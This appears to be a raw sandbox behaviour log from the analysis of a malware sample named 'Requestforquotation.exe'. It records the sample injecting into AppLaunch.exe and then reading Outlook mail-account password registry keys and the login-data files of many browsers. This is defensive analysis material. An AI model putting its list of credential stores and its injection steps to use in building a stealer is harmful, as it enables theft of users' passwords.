"CreateCompatibleBitmap" with parameters {"hdc": "604047137" "cx": "16" "cy": "16"}48:Ta74,"Requestforquotation.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00002972) "Requestforquotation.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00002972)49:Tc53,"Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DEBUGHEAPFLAGS"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET DATA PROVIDER FOR SQLSERVER\PERFORMANCE"; Key: "LIBRARY"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET DATA PROVIDER FOR SQLSERVER\PERFORMANCE"; Key: "ISMULTIINSTANCE"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET DATA PROVIDER FOR SQLSERVER\PERFORMANCE"; Key: "FIRST COUNTER"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET DATA PROVIDER FOR SQLSERVER\PERFORMANCE"; Key: "CATEGORYOPTIONS"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET DATA PROVIDER FOR SQLSERVER\PERFORMANCE"; Key: "FILEMAPPINGSIZE"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET DATA PROVIDER FOR SQLSERVER\PERFORMANCE"; Key: "COUNTER NAMES"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")4a:Tb93,Dropped file: "0CC55F78B0E4AA542F9C9A2E9095B378" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0CC55F78B0E4AA542F9C9A2E9095B378]- [targetUID: 00000000-00003916] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003916] Dropped file: "8A0E67F3F72679DC8EF1F04D13A5B779_5DB5152ADADE9B60A5DDA0E2DEAA7549" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\8A0E67F3F72679DC8EF1F04D13A5B779_5DB5152ADADE9B60A5DDA0E2DEAA7549]- [targetUID: 00000000-00003916] Dropped file: "223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771]- [targetUID: 00000000-00003916] Dropped file: "EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D]- [targetUID: 00000000-00003916] Dropped file: "67F6625BC22310D5C99DDE12020DBD90" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\67F6625BC22310D5C99DDE12020DBD90]- [targetUID: 00000000-00003916] Dropped file: "C5FD5BF0CE6372B1CAFE381FD0BC969C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\C5FD5BF0CE6372B1CAFE381FD0BC969C]- [targetUID: 00000000-00003916] Dropped file: "8A0E67F3F72679DC8EF1F04D13A5B779_5DB5152ADADE9B60A5DDA0E2DEAA7549" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\8A0E67F3F72679DC8EF1F04D13A5B779_5DB5152ADADE9B60A5DDA0E2DEAA7549]- [targetUID: 00000000-00003916] Dropped file: "EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D]- [targetUID: 00000000-00003916] Dropped file: "223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771]- [targetUID: 00000000-00003916] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003916] Dropped file: "0CC55F78B0E4AA542F9C9A2E9095B378" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\0CC55F78B0E4AA542F9C9A2E9095B378]- [targetUID: 00000000-00003916] Dropped file: "67F6625BC22310D5C99DDE12020DBD90" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\67F6625BC22310D5C99DDE12020DBD90]- [targetUID: 00000000-00003916] Dropped file: "C5FD5BF0CE6372B1CAFE381FD0BC969C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\C5FD5BF0CE6372B1CAFE381FD0BC969C]- [targetUID: 00000000-00003916]4b:T43d,"1.0.0.0" "16.0.0.0" Potential IP "4.0.0.0" found in string "em.Windows.Forms,4.0.0.0,,b77a5c561934e089" Potential IP "4.0.0.0" found in string "ersion=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/>", Potential IP "4.0.0.0" found in string "n=4.0.0.0 C", Potential IP "4.0.0.0" found in string "rsion=4.0.0.0 Culture=neuv", Potential IP "4.0.0.0" found in string "ion=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089", Potential IP "4.0.0.0" found in string "rsion=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089", Potential IP "4.0.0.0" found in string "n=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a" />" Potential IP "4.0.0.0" found in string "on=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">", Potential IP "16.10.0.0" found in string "KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator 16.10.0.0", "192.168.242.242", Potential IP "4.0.0.0" found in string "ces 4.0.0.0 b03f5f7", Potential IP "4.0.0.0" found in string "=4.0.0.0 Cu", Potential IP "4.0.0.0" found in string "4.0.0.0 Cul"4c:T4c7,"Requestforquotation.exe" wrote 32 bytes to a remote process "C:\Requestforquotation.exe" (Handle: 732) "Requestforquotation.exe" wrote 52 bytes to a remote process "C:\Requestforquotation.exe" (Handle: 732) "Requestforquotation.exe" wrote 4 bytes to a remote process "C:\Requestforquotation.exe" (Handle: 732) "Requestforquotation.exe" wrote 4096 bytes to a remote process "C:\Requestforquotation.exe" (Handle: 732) "Requestforquotation.exe" wrote 438272 bytes to a remote process "C:\Requestforquotation.exe" (Handle: 732) "Requestforquotation.exe" wrote 1500 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 420) "Requestforquotation.exe" wrote 4 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 420) "Requestforquotation.exe" wrote 32 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 420) "Requestforquotation.exe" wrote 52 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 420) "Requestforquotation.exe" wrote 417792 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 420)4d:T17be,"AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP EMAIL ADDRESS") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP SERVER") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 SERVER") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 USER NAME") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP USER NAME") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP EMAIL ADDRESS") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP USER NAME") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP SERVER") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP SERVER") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP USER NAME") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "EMAIL") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTP USER") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTP SERVER URL") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 USER") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP USER") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL USER NAME") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL SERVER") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP USER") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 PASSWORD2") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP PASSWORD2") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP PASSWORD2") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL PASSWORD2") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP PASSWORD2") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 PASSWORD") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP PASSWORD") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP PASSWORD") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL PASSWORD") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP PASSWORD") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP EMAIL ADDRESS") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP SERVER") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "POP3 SERVER")4e:T14d6,"AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\GOOGLE\CHROME\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\GOOGLE\CHROME\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\GOOGLE\CHROME\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\GOOGLE\CHROME\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\360CHROME\CHROME\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\360CHROME\CHROME\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\360CHROME\CHROME\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\360CHROME\CHROME\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TORCH\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TORCH\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TORCH\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TORCH\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BRAVESOFTWARE\BRAVE-BROWSER\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BRAVESOFTWARE\BRAVE-BROWSER\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BRAVESOFTWARE\BRAVE-BROWSER\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BRAVESOFTWARE\BRAVE-BROWSER\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\IRIDIUM\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\IRIDIUM\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\IRIDIUM\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\IRIDIUM\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\7STAR\7STAR\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\7STAR\7STAR\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\7STAR\7STAR\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\7STAR\7STAR\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AMIGO\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AMIGO\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AMIGO\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AMIGO\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CENTBROWSER\USER DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CENTBROWSER\USER DATA\DEFAULT\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CENTBROWSER\USER DATA\LOGIN DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CENTBROWSER\USER DATA\WEB DATA" "AppLaunch.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHEDOT\USER DATA"4f:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQ